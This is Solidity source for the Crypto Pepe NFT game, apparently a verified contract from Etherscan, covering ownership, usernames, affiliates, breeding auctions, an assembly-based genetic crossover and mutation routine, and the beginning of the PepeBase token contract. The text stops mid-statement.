/** *Submitted for verification at Etherscan.io on 2021-09-05 */ // solhint-disable-next-line pragma solidity 0.4.26; // solhint-disable func-order contract GenePoolInterface { // signals is gene pool function isGenePool() public pure returns (bool); // breeds two parents and returns childs genes function breed(uint256[2] mother, uint256[2] father, uint256 seed) public view returns (uint256[2]); // generates (psuedo) random Pepe DNA function randomDNA(uint256 seed) public pure returns (uint256[2]); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Usernames { mapping(address => bytes32) public addressToUser; mapping(bytes32 => address) public userToAddress; event UserNamed(address indexed user, bytes32 indexed username); /** * Claim a username. Frees up a previously used one * @param _username to claim */ function claimUsername(bytes32 _username) external { require(userToAddress[_username] == address(0));// Username must be free if (addressToUser[msg.sender] != bytes32(0)) { // If user already has username free it up userToAddress[addressToUser[msg.sender]] = address(0); } //all is well assign username addressToUser[msg.sender] = _username; userToAddress[_username] = msg.sender; emit UserNamed(msg.sender, _username); } } /** @title Beneficiary */ contract Beneficiary is Ownable { address public beneficiary; constructor() public { beneficiary = msg.sender; } /** * @dev Change the beneficiary address * @param _beneficiary Address of the new beneficiary */ function setBeneficiary(address _beneficiary) public onlyOwner { beneficiary = _beneficiary; } } /** @title Affiliate */ contract Affiliate is Ownable { mapping(address => bool) public canSetAffiliate; mapping(address => address) public userToAffiliate; /** @dev Allows an address to set the affiliate address for a user * @param _setter The address that should be allowed */ function setAffiliateSetter(address _setter) public onlyOwner { canSetAffiliate[_setter] = true; } /** * @dev Set the affiliate of a user * @param _user user to set affiliate for * @param _affiliate address to set */ function setAffiliate(address _user, address _affiliate) public { require(canSetAffiliate[msg.sender]); if (userToAffiliate[_user] == address(0)) { userToAffiliate[_user] = _affiliate; } } } contract ERC721 { function implementsERC721() public pure returns (bool); function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) public view returns (address owner); function approve(address _to, uint256 _tokenId) public; function transferFrom(address _from, address _to, uint256 _tokenId) public returns (bool) ; function transfer(address _to, uint256 _tokenId) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId); // function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl); } contract PepeInterface is ERC721{ function cozyTime(uint256 _mother, uint256 _father, address _pepeReceiver) public returns (bool); function getCozyAgain(uint256 _pepeId) public view returns(uint64); } /** @title AuctionBase */ contract AuctionBase is Beneficiary { mapping(uint256 => PepeAuction) public auctions;//maps pepes to auctions PepeInterface public pepeContract; Affiliate public affiliateContract; uint256 public fee = 37500; //in 1 10000th of a percent so 3.75% at the start uint256 public constant FEE_DIVIDER = 1000000; //Perhaps needs better name? struct PepeAuction { address seller; uint256 pepeId; uint64 auctionBegin; uint64 auctionEnd; uint256 beginPrice; uint256 endPrice; } event AuctionWon(uint256 indexed pepe, address indexed winner, address indexed seller); event AuctionStarted(uint256 indexed pepe, address indexed seller); event AuctionFinalized(uint256 indexed pepe, address indexed seller); constructor(address _pepeContract, address _affiliateContract) public { pepeContract = PepeInterface(_pepeContract); affiliateContract = Affiliate(_affiliateContract); } /** * @dev Return a pepe from a auction that has passed * @param _pepeId the id of the pepe to save */ function savePepe(uint256 _pepeId) external { // solhint-disable-next-line not-rely-on-time require(auctions[_pepeId].auctionEnd < now);//auction must have ended require(pepeContract.transfer(auctions[_pepeId].seller, _pepeId));//transfer pepe back to seller emit AuctionFinalized(_pepeId, auctions[_pepeId].seller); delete auctions[_pepeId];//delete auction } /** * @dev change the fee on pepe sales. Can only be lowerred * @param _fee The new fee to set. Must be lower than current fee */ function changeFee(uint256 _fee) external onlyOwner { require(_fee < fee);//fee can not be raised fee = _fee; } /** * @dev Start a auction * @param _pepeId Pepe to sell * @param _beginPrice Price at which the auction starts * @param _endPrice Ending price of the auction * @param _duration How long the auction should take */ function startAuction(uint256 _pepeId, uint256 _beginPrice, uint256 _endPrice, uint64 _duration) public { require(pepeContract.transferFrom(msg.sender, address(this), _pepeId)); // solhint-disable-next-line not-rely-on-time require(now > auctions[_pepeId].auctionEnd);//can only start new auction if no other is active PepeAuction memory auction; auction.seller = msg.sender; auction.pepeId = _pepeId; // solhint-disable-next-line not-rely-on-time auction.auctionBegin = uint64(now); // solhint-disable-next-line not-rely-on-time auction.auctionEnd = uint64(now) + _duration; require(auction.auctionEnd > auction.auctionBegin); auction.beginPrice = _beginPrice; auction.endPrice = _endPrice; auctions[_pepeId] = auction; emit AuctionStarted(_pepeId, msg.sender); } /** * @dev directly start a auction from the PepeBase contract * @param _pepeId Pepe to put on auction * @param _beginPrice Price at which the auction starts * @param _endPrice Ending price of the auction * @param _duration How long the auction should take * @param _seller The address selling the pepe */ // solhint-disable-next-line max-line-length function startAuctionDirect(uint256 _pepeId, uint256 _beginPrice, uint256 _endPrice, uint64 _duration, address _seller) public { require(msg.sender == address(pepeContract)); //can only be called by pepeContract //solhint-disable-next-line not-rely-on-time require(now > auctions[_pepeId].auctionEnd);//can only start new auction if no other is active PepeAuction memory auction; auction.seller = _seller; auction.pepeId = _pepeId; // solhint-disable-next-line not-rely-on-time auction.auctionBegin = uint64(now); // solhint-disable-next-line not-rely-on-time auction.auctionEnd = uint64(now) + _duration; require(auction.auctionEnd > auction.auctionBegin); auction.beginPrice = _beginPrice; auction.endPrice = _endPrice; auctions[_pepeId] = auction; emit AuctionStarted(_pepeId, _seller); } /** * @dev Calculate the current price of a auction * @param _pepeId the pepeID to calculate the current price for * @return currentBid the current price for the auction */ function calculateBid(uint256 _pepeId) public view returns(uint256 currentBid) { PepeAuction storage auction = auctions[_pepeId]; // solhint-disable-next-line not-rely-on-time uint256 timePassed = now - auctions[_pepeId].auctionBegin; // If auction ended return auction end price. // solhint-disable-next-line not-rely-on-time if (now >= auction.auctionEnd) { return auction.endPrice; } else { // Can be negative int256 priceDifference = int256(auction.endPrice) - int256(auction.beginPrice); // Always positive int256 duration = int256(auction.auctionEnd) - int256(auction.auctionBegin); // As already proven in practice by CryptoKitties: // timePassed -> 64 bits at most // priceDifference -> 128 bits at most // timePassed * priceDifference -> 64 + 128 bits at most int256 priceChange = priceDifference * int256(timePassed) / duration; // Will be positive, both operands are less than 256 bits int256 price = int256(auction.beginPrice) + priceChange; return uint256(price); } } /** * @dev collect the fees from the auction */ function getFees() public { beneficiary.transfer(address(this).balance); } } /** @title CozyTimeAuction */ contract RebornCozyTimeAuction is AuctionBase { // solhint-disable-next-line constructor (address _pepeContract, address _affiliateContract) AuctionBase(_pepeContract, _affiliateContract) public { } /** * @dev Start an auction * @param _pepeId The id of the pepe to start the auction for * @param _beginPrice Start price of the auction * @param _endPrice End price of the auction * @param _duration How long the auction should take */ function startAuction(uint256 _pepeId, uint256 _beginPrice, uint256 _endPrice, uint64 _duration) public { // solhint-disable-next-line not-rely-on-time require(pepeContract.getCozyAgain(_pepeId) <= now);//need to have this extra check super.startAuction(_pepeId, _beginPrice, _endPrice, _duration); } /** * @dev Start a auction direclty from the PepeBase smartcontract * @param _pepeId The id of the pepe to start the auction for * @param _beginPrice Start price of the auction * @param _endPrice End price of the auction * @param _duration How long the auction should take * @param _seller The address of the seller */ // solhint-disable-next-line max-line-length function startAuctionDirect(uint256 _pepeId, uint256 _beginPrice, uint256 _endPrice, uint64 _duration, address _seller) public { // solhint-disable-next-line not-rely-on-time require(pepeContract.getCozyAgain(_pepeId) <= now);//need to have this extra check super.startAuctionDirect(_pepeId, _beginPrice, _endPrice, _duration, _seller); } /** * @dev Buy cozy right from the auction * @param _pepeId Pepe to cozy with * @param _cozyCandidate the pepe to cozy with * @param _candidateAsFather Is the _cozyCandidate father? * @param _pepeReceiver address receiving the pepe after cozy time */ // solhint-disable-next-line max-line-length function buyCozy(uint256 _pepeId, uint256 _cozyCandidate, bool _candidateAsFather, address _pepeReceiver) public payable { require(address(pepeContract) == msg.sender); //caller needs to be the PepeBase contract PepeAuction storage auction = auctions[_pepeId]; // solhint-disable-next-line not-rely-on-time require(now < auction.auctionEnd);// auction must be still going uint256 price = calculateBid(_pepeId); require(msg.value >= price);//must send enough ether uint256 totalFee = price * fee / FEE_DIVIDER; //safe math needed? //Send ETH to seller auction.seller.transfer(price - totalFee); //send ETH to beneficiary address affiliate = affiliateContract.userToAffiliate(_pepeReceiver); //solhint-disable-next-line if (affiliate != address(0) && affiliate.send(totalFee / 2)) { //if user has affiliate //nothing just to suppress warning } //actual cozytiming if (_candidateAsFather) { if (!pepeContract.cozyTime(auction.pepeId, _cozyCandidate, _pepeReceiver)) { revert(); } } else { // Swap around the two pepes, they have no set gender, the user decides what they are. if (!pepeContract.cozyTime(_cozyCandidate, auction.pepeId, _pepeReceiver)) { revert(); } } //Send pepe to seller of auction if (!pepeContract.transfer(auction.seller, _pepeId)) { revert(); //can't complete transfer if this fails } if (msg.value > price) { //return ether send to much _pepeReceiver.transfer(msg.value - price); } emit AuctionWon(_pepeId, _pepeReceiver, auction.seller);//emit event delete auctions[_pepeId];//deletes auction } /** * @dev Buy cozytime and pass along affiliate * @param _pepeId Pepe to cozy with * @param _cozyCandidate the pepe to cozy with * @param _candidateAsFather Is the _cozyCandidate father? * @param _pepeReceiver address receiving the pepe after cozy time * @param _affiliate Affiliate address to set */ //solhint-disable-next-line max-line-length function buyCozyAffiliated(uint256 _pepeId, uint256 _cozyCandidate, bool _candidateAsFather, address _pepeReceiver, address _affiliate) public payable { affiliateContract.setAffiliate(_pepeReceiver, _affiliate); buyCozy(_pepeId, _cozyCandidate, _candidateAsFather, _pepeReceiver); } } contract Genetic { // TODO mutations // maximum number of random mutations per chromatid uint8 public constant R = 5; // solhint-disable-next-line function-max-lines function breed(uint256[2] mother, uint256[2] father, uint256 seed) internal view returns (uint256[2] memOffset) { // Meiosis I: recombining alleles (Chromosomal crossovers) // Note about optimization I: no cell duplication, // producing 2 seeds/eggs per cell is enough, instead of 4 (like humans do) // Note about optimization II: crossovers happen, // but only 1 side of the result is computed, // as the other side will not affect anything. // solhint-disable-next-line no-inline-assembly assembly { // allocate output // 1) get the pointer to our memory memOffset := mload(0x40) // 2) Change the free-memory pointer to keep our memory // (we will only use 64 bytes: 2 values of 256 bits) mstore(0x40, add(memOffset, 64)) // Put seed in scratchpad 0 mstore(0x0, seed) // Also use the timestamp, best we could do to increase randomness // without increasing costs dramatically. (Trade-off) mstore(0x20, timestamp) // Hash it for a universally random bitstring. let hash := keccak256(0, 64) // Byzantium VM does not support shift opcodes, will be introduced in Constantinople. // Soldity itself, in non-assembly, also just uses other opcodes to simulate it. // Optmizer should take care of inlining, just declare shiftR ourselves here. // Where possible, better optimization is applied to make it cheaper. function shiftR(value, offset) -> result { result := div(value, exp(2, offset)) } // solhint-disable max-line-length // m_context << Instruction::SWAP1 << u256(2) << Instruction::EXP << Instruction::SWAP1 << (c_leftSigned ? Instruction::SDIV : Instruction::DIV); // optimization: although one side consists of multiple chromatids, // we handle them just as one long chromatid: // only difference is that a crossover in chromatid i affects chromatid i+1. // No big deal, order and location is random anyway function processSide(fatherSrc, motherSrc, rngSrc) -> result { { // initial rngSrc bit length: 254 bits // Run the crossovers // ===================================================== // Pick some crossovers // Each crossover is spaced ~64 bits on average. // To achieve this, we get a random 7 bit number, [0, 128), for each crossover. // 256 / 64 = 4, we need 4 crossovers, // and will have 256 / 127 = 2 at least (rounded down). // Get one bit determining if we should pick DNA from the father, // or from the mother. // This changes every crossover. (by swapping father and mother) { if eq(and(rngSrc, 0x1), 0) { // Swap mother and father, // create a temporary variable (code golf XOR swap costs more in gas) let temp := fatherSrc fatherSrc := motherSrc motherSrc := temp } // remove the bit from rng source, 253 rng bits left rngSrc := shiftR(rngSrc, 1) } // Don't push/pop this all the time, we have just enough space on stack. let mask := 0 // Cap at 4 crossovers, no more than that. let cap := 0 let crossoverLen := and(rngSrc, 0x7f) // bin: 1111111 (7 bits ON) // remove bits from hash, e.g. 254 - 7 = 247 left. rngSrc := shiftR(rngSrc, 7) let crossoverPos := crossoverLen // optimization: instead of shifting with an opcode we don't have until Constantinople, // keep track of the a shifted number, updated using multiplications. let crossoverPosLeading1 := 1 // solhint-disable-next-line no-empty-blocks for { } and(lt(crossoverPos, 256), lt(cap, 4)) { crossoverLen := and(rngSrc, 0x7f) // bin: 1111111 (7 bits ON) // remove bits from hash, e.g. 254 - 7 = 247 left. rngSrc := shiftR(rngSrc, 7) crossoverPos := add(crossoverPos, crossoverLen) cap := add(cap, 1) } { // Note: we go from right to left in the bit-string. // Create a mask for this crossover. // Example: // 00000000000001111111111111111110000000000000000000000000000000000000000000000000000000000..... // |Prev. data ||Crossover here ||remaining data ....... // // The crossover part is copied from the mother/father to the child. // Create the bit-mask // Create a bitstring that ignores the previous data: // 00000000000001111111111111111111111111111111111111111111111111111111111111111111111111111..... // First create a leading 1, just before the crossover, like: // 00000000000010000000000000000000000000000000000000000000000000000000000..... // Then substract 1, to get a long string of 1s // 00000000000001111111111111111111111111111111111111111111111111111111111111111111111111111..... // Now do the same for the remain part, and xor it. // leading 1 // 00000000000000000000000000000010000000000000000000000000000000000000000000000000000000000..... // sub 1 // 00000000000000000000000000000001111111111111111111111111111111111111111111111111111111111..... // xor with other // 00000000000001111111111111111111111111111111111111111111111111111111111111111111111111111..... // 00000000000000000000000000000001111111111111111111111111111111111111111111111111111111111..... // 00000000000001111111111111111110000000000000000000000000000000000000000000000000000000000..... // Use the final shifted 1 of the previous crossover as the start marker mask := sub(crossoverPosLeading1, 1) // update for this crossover, (and will be used as start for next crossover) crossoverPosLeading1 := mul(1, exp(2, crossoverPos)) mask := xor(mask, sub(crossoverPosLeading1, 1) ) // Now add the parent data to the child genotype // E.g. // Mask: 00000000000001111111111111111110000000000000000000000000000000000000000000000000000000000.... // Parent: 10010111001000110101011111001010001011100000000000010011000001000100000001011101111000111.... // Child (pre): 00000000000000000000000000000001111110100101111111000011001010000000101010100000110110110.... // Child (post): 00000000000000110101011111001011111110100101111111000011001010000000101010100000110110110.... // To do this, we run: child_post = child_pre | (mask & father) result := or(result, and(mask, fatherSrc)) // Swap father and mother, next crossover will take a string from the other. let temp := fatherSrc fatherSrc := motherSrc motherSrc := temp } // We still have a left-over part that was not copied yet // E.g., we have something like: // Father: | xxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxx .... // Mother: |############ xxxxxxxxxx xxxxxxxxxxxx.... // Child: | xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.... // The ############ still needs to be applied to the child, also, // this can be done cheaper than in the loop above, // as we don't have to swap anything for the next crossover or something. // At this point we have to assume 4 crossovers ran, // and that we only have 127 - 1 - (4 * 7) = 98 bits of randomness left. // We stopped at the bit after the crossoverPos index, see "x": // 000000000xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx..... // now create a leading 1 at crossoverPos like: // 000000001000000000000000000000000000000000000000000000000000000000000000000..... // Sub 1, get the mask for what we had. // 000000000111111111111111111111111111111111111111111111111111111111111111111..... // Invert, and we have the final mask: // 111111111000000000000000000000000000000000000000000000000000000000000000000..... mask := not(sub(crossoverPosLeading1, 1)) // Apply it to the result result := or(result, and(mask, fatherSrc)) // Random mutations // ===================================================== // random mutations // Put rng source in scratchpad 0 mstore(0x0, rngSrc) // And some arbitrary padding in scratchpad 1, // used to create different hashes based on input size changes mstore(0x20, 0x434f4c4c454354205045504553204f4e2043525950544f50455045532e494f21) // Hash it for a universally random bitstring. // Then reduce the number of 1s by AND-ing it with other *different* hashes. // Each bit in mutations has a probability of 0.5^5 = 0.03125 = 3.125% to be a 1 let mutations := and( and( and(keccak256(0, 32), keccak256(1, 33)), and(keccak256(2, 34), keccak256(3, 35)) ), keccak256(0, 36) ) result := xor(result, mutations) } } { // Get 1 bit of pseudo randomness that will // determine if side #1 will come from the left, or right side. // Either 0 or 1, shift it by 5 bits to get either 0x0 or 0x20, cheaper later on. let relativeFatherSideLoc := mul(and(hash, 0x1), 0x20) // shift by 5 bits = mul by 2^5=32 (0x20) // Either 0 or 1, shift it by 5 bits to get either 0x0 or 0x20, cheaper later on. let relativeMotherSideLoc := mul(and(hash, 0x2), 0x10) // already shifted by 1, mul by 2^4=16 (0x10) // Now remove the used 2 bits from the hash, 254 bits remaining now. hash := div(hash, 4) // Process the side, load the relevant parent data that will be used. mstore(memOffset, processSide( mload(add(father, relativeFatherSideLoc)), mload(add(mother, relativeMotherSideLoc)), hash )) // The other side will be the opposite index: 1 -> 0, 0 -> 1 // Apply it to the location, // which is either 0x20 (For index 1) or 0x0 for index 0. relativeFatherSideLoc := xor(relativeFatherSideLoc, 0x20) relativeMotherSideLoc := xor(relativeMotherSideLoc, 0x20) mstore(0x0, seed) // Second argument will be inverse, // resulting in a different second hash. mstore(0x20, not(timestamp)) // Now create another hash, for the other side hash := keccak256(0, 64) // Process the other side mstore(add(memOffset, 0x20), processSide( mload(add(father, relativeFatherSideLoc)), mload(add(mother, relativeMotherSideLoc)), hash )) } } // Sample input: // ["0xAAABBBBBBBBCCCCCCCCAAAAAAAAABBBBBBBBBBCCCCCCCCCAABBBBBBBCCCCCCCC","0x4444444455555555555555556666666666666644444444455555555555666666"] // // ["0x1111111111112222222223333311111111122222223333333331111112222222","0x7777788888888888999999999999977777777777788888888888999999997777"] // Expected results (or similar, depends on the seed): // 0xAAABBBBBBBBCCCCCCCCAAAAAAAAABBBBBBBBBBCCCCCCCCCAABBBBBBBCCCCCCCC < Father side A // 0x4444444455555555555555556666666666666644444444455555555555666666 < Father side B // 0x1111111111112222222223333311111111122222223333333331111112222222 < Mother side A // 0x7777788888888888999999999999977777777777788888888888999999997777 < Mother side B // xxxxxxxxxxxxxxxxx xxxxxxxxx xx // 0xAAABBBBBBBBCCCCCD99999999998BBBBBBBBF77778888888888899999999774C < Child side A // xxx xxxxxxxxxxx // 0x4441111111112222222223333366666666666222223333333331111112222222 < Child side B // And then random mutations, for gene pool expansion. // Each bit is flipped with a 3.125% chance // Example: //a2c37edc61dca0ca0b199e098c80fd5a221c2ad03605b4b54332361358745042 < random hash 1 //c217d04b19a83fe497c1cf6e1e10030e455a0812a6949282feec27d67fe2baa7 < random hash 2 //2636a55f38bed26d804c63a13628e21b2d701c902ca37b2b0ca94fada3821364 < random hash 3 //86bb023a85e2da50ac233b946346a53aa070943b0a8e91c56e42ba181729a5f9 < random hash 4 //5d71456a1288ab30ddd4c955384d42e66a09d424bd7743791e3eab8e09aa13f1 < random hash 5 //0000000800800000000000000000000200000000000000000000020000000000 < resulting mutation //aaabbbbbbbbcccccd99999999998bbbbbbbbf77778888888888899999999774c < original //aaabbbb3bb3cccccd99999999998bbb9bbbbf7777888888888889b999999774c < mutated (= original XOR mutation) } // Generates (psuedo) random Pepe DNA function randomDNA(uint256 seed) internal pure returns (uint256[2] memOffset) { // solhint-disable-next-line no-inline-assembly assembly { // allocate output // 1) get the pointer to our memory memOffset := mload(0x40) // 2) Change the free-memory pointer to keep our memory // (we will only use 64 bytes: 2 values of 256 bits) mstore(0x40, add(memOffset, 64)) // Load the seed into 1st scratchpad memory slot. // adjacent to the additional value (used to create two distinct hashes) mstore(0x0, seed) // In second scratchpad slot: // The additional value can be any word, as long as the caller uses // it (second hash needs to be different) mstore(0x20, 0x434f4c4c454354205045504553204f4e2043525950544f50455045532e494f21) // // Create first element pointer of array // mstore(memOffset, add(memOffset, 64)) // pointer 1 // mstore(add(memOffset, 32), add(memOffset, 96)) // pointer 2 // control block to auto-pop the hash. { // L * N * 2 * 4 = 4 * 2 * 2 * 4 = 64 bytes, 2x 256 bit hash // Sha3 is cheaper than sha256, make use of it let hash := keccak256(0, 64) // Store first array value mstore(memOffset, hash) // Now hash again, but only 32 bytes of input, // to ignore make the input different than the previous call, hash := keccak256(0, 32) mstore(add(memOffset, 32), hash) } } } } /** @title CozyTimeAuction */ contract CozyTimeAuction is AuctionBase { // solhint-disable-next-line constructor (address _pepeContract, address _affiliateContract) AuctionBase(_pepeContract, _affiliateContract) public { } /** * @dev Start an auction * @param _pepeId The id of the pepe to start the auction for * @param _beginPrice Start price of the auction * @param _endPrice End price of the auction * @param _duration How long the auction should take */ function startAuction(uint256 _pepeId, uint256 _beginPrice, uint256 _endPrice, uint64 _duration) public { // solhint-disable-next-line not-rely-on-time require(pepeContract.getCozyAgain(_pepeId) <= now);//need to have this extra check super.startAuction(_pepeId, _beginPrice, _endPrice, _duration); } /** * @dev Start a auction direclty from the PepeBase smartcontract * @param _pepeId The id of the pepe to start the auction for * @param _beginPrice Start price of the auction * @param _endPrice End price of the auction * @param _duration How long the auction should take * @param _seller The address of the seller */ // solhint-disable-next-line max-line-length function startAuctionDirect(uint256 _pepeId, uint256 _beginPrice, uint256 _endPrice, uint64 _duration, address _seller) public { // solhint-disable-next-line not-rely-on-time require(pepeContract.getCozyAgain(_pepeId) <= now);//need to have this extra check super.startAuctionDirect(_pepeId, _beginPrice, _endPrice, _duration, _seller); } /** * @dev Buy cozy right from the auction * @param _pepeId Pepe to cozy with * @param _cozyCandidate the pepe to cozy with * @param _candidateAsFather Is the _cozyCandidate father? * @param _pepeReceiver address receiving the pepe after cozy time */ // solhint-disable-next-line max-line-length function buyCozy(uint256 _pepeId, uint256 _cozyCandidate, bool _candidateAsFather, address _pepeReceiver) public payable { require(address(pepeContract) == msg.sender); //caller needs to be the PepeBase contract PepeAuction storage auction = auctions[_pepeId]; // solhint-disable-next-line not-rely-on-time require(now < auction.auctionEnd);// auction must be still going uint256 price = calculateBid(_pepeId); require(msg.value >= price);//must send enough ether uint256 totalFee = price * fee / FEE_DIVIDER; //safe math needed? //Send ETH to seller auction.seller.transfer(price - totalFee); //send ETH to beneficiary address affiliate = affiliateContract.userToAffiliate(_pepeReceiver); //solhint-disable-next-line if (affiliate != address(0) && affiliate.send(totalFee / 2)) { //if user has affiliate //nothing just to suppress warning } //actual cozytiming if (_candidateAsFather) { if (!pepeContract.cozyTime(auction.pepeId, _cozyCandidate, _pepeReceiver)) { revert(); } } else { // Swap around the two pepes, they have no set gender, the user decides what they are. if (!pepeContract.cozyTime(_cozyCandidate, auction.pepeId, _pepeReceiver)) { revert(); } } //Send pepe to seller of auction if (!pepeContract.transfer(auction.seller, _pepeId)) { revert(); //can't complete transfer if this fails } if (msg.value > price) { //return ether send to much _pepeReceiver.transfer(msg.value - price); } emit AuctionWon(_pepeId, _pepeReceiver, auction.seller);//emit event delete auctions[_pepeId];//deletes auction } /** * @dev Buy cozytime and pass along affiliate * @param _pepeId Pepe to cozy with * @param _cozyCandidate the pepe to cozy with * @param _candidateAsFather Is the _cozyCandidate father? * @param _pepeReceiver address receiving the pepe after cozy time * @param _affiliate Affiliate address to set */ //solhint-disable-next-line max-line-length function buyCozyAffiliated(uint256 _pepeId, uint256 _cozyCandidate, bool _candidateAsFather, address _pepeReceiver, address _affiliate) public payable { affiliateContract.setAffiliate(_pepeReceiver, _affiliate); buyCozy(_pepeId, _cozyCandidate, _candidateAsFather, _pepeReceiver); } } contract Haltable is Ownable { uint256 public haltTime; //when the contract was halted bool public halted;//is the contract halted? uint256 public haltDuration; uint256 public maxHaltDuration = 8 weeks;//how long the contract can be halted modifier stopWhenHalted { require(!halted); _; } modifier onlyWhenHalted { require(halted); _; } /** * @dev Halt the contract for a set time smaller than maxHaltDuration * @param _duration Duration how long the contract should be halted. Must be smaller than maxHaltDuration */ function halt(uint256 _duration) public onlyOwner { require(haltTime == 0); //cannot halt if it was halted before require(_duration <= maxHaltDuration);//cannot halt for longer than maxHaltDuration haltDuration = _duration; halted = true; // solhint-disable-next-line not-rely-on-time haltTime = now; } /** * @dev Unhalt the contract. Can only be called by the owner or when the haltTime has passed */ function unhalt() public { // solhint-disable-next-line require(now > haltTime + haltDuration || msg.sender == owner);//unhalting is only possible when haltTime has passed or the owner unhalts halted = false; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } /// @dev Note: the ERC-165 identifier for this interface is 0xf0b9e5ba interface ERC721TokenReceiver { /// @notice Handle the receipt of an NFT /// @dev The ERC721 smart contract calls this function on the recipient /// after a `transfer`. This function MAY throw to revert and reject the /// transfer. This function MUST use 50,000 gas or less. Return of other /// than the magic value MUST result in the transaction being reverted. /// Note: the contract address is always the message sender. /// @param _from The sending address /// @param _tokenId The NFT identifier which is being transfered /// @param data Additional data with no specified format /// @return `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))` /// unless throwing function onERC721Received(address _from, uint256 _tokenId, bytes data) external returns(bytes4); } contract PepeBase is Genetic, Ownable, Usernames, Haltable { uint32[15] public cozyCoolDowns = [ //determined by generation / 2 uint32(1 minutes), uint32(2 minutes), uint32(5 minutes), uint32(15 minutes), uint32(30 minutes), uint32(45 minutes), uint32(1 hours), uint32(2 hours), uint32(4 hours), uint32(8 hours), uint32(16 hours), uint32(1 days), uint32(2 days), uint32(4 days), uint32(7 days) ]; struct Pepe { address master; //The master of the pepe uint256[2] genotype; //all genes stored here uint64 canCozyAgain; //time when pepe can have nice time again uint64 generation; //what generation? uint64 father; //father of this pepe uint64 mother; //mommy of this pepe uint8 coolDownIndex; } mapping(uint256 => bytes32) public pepeNames; //stores all pepes Pepe[] public pepes; bool public implementsERC721 = true; //signal erc721 support // solhint-disable-next-line const-name-snakecase string public constant name = "Crypto Pepe"; // solhint-disable-next-line const-name-snakecase string public constant symbol = "CPEP"; mapping(address => uint256[]) private wallets; mapping(address => uint256) public balances; //amounts of pepes per address mapping(uint256 => address) public approved; //pepe index to address approved to transfer mapping(address => mapping(address => bool)) public approvedForAll; uint256 public zeroGenPepes; //how many zero gen pepes are mined uint256 public constant MAX_PREMINE = 100;//how many pepes can be premined uint256 public constant MAX_ZERO_GEN_PEPES = 1100; //max number of zero gen pepes address public miner; //address of the miner contract modifier onlyPepeMaster(uint256 _pepeId) { require(pepes[_pepeId].master == msg.sender); _; } modifier onlyAllowed(uint256 _tokenId) { // solhint-disable-next-line max-line-length require(msg.sender == pepes[_tokenId].master || msg.sender == approved[_tokenId] || approvedForAll[pepes[_tokenId].master][msg.sender]); //check if msg.sender is allowed _; } event PepeBorn(uint256 indexed mother, uint256 indexed father, uint256 indexed pepeId); event PepeNamed(uint256 indexed pepeId); constructor() public { Pepe memory pepe0 = Pepe({ master: 0x0, genotype: [uint256(0), uint256(0)], canCozyAgain: 0, father: 0, mother: 0, generation: 0, coolDownIndex: 0 }); pepes.push(pepe0); } /** * @dev Internal function that creates a new pepe * @param _genoType DNA of the new pepe * @param _mother The ID of the mother * @param _father The ID of the father * @param _generation The generation of the new Pepe * @param _master The owner of this new Pepe * @return The ID of the newly generated Pepe */ // solhint-disable-next-line max-line-length function _newPepe(uint256[2] _genoType, uint64 _mother, uint64 _father, uint64 _generation, address _master) internal returns (uint256 pepeId) { uint8 tempCoolDownIndex; tempCoolDownIndex = uint8(_generation / 2); if (_generation > 28) { tempCoolDownIndex = 14; } Pepe memory _pepe = Pepe({ master: _master, //The master of the pepe genotype: _genoType, //all genes stored here canCozyAgain: 0, //time when pepe can have nice time again father: _father, //father of this pepe mother: _mother, //mommy of this pepe generation: _generation, //what generation? coolDownIndex: tempCoolDownIndex }); if (_generation == 0) { zeroGenPepes += 1; //count zero gen pepes } //push returns the new length, use it to get a new unique id pepeId = pepes.push(_pepe) - 1; //add it to the wallet of the master of the new pepe addToWallet(_master, pepeId); emit PepeBorn(_mother, _father, pepeId); emit Transfer(address(0), _master, pepeId); return pepeId; } /** * @dev Set the miner contract. Can only be called once * @param _miner Address of the miner contract */ function setMiner(address _miner) public onlyOwner { require(miner == 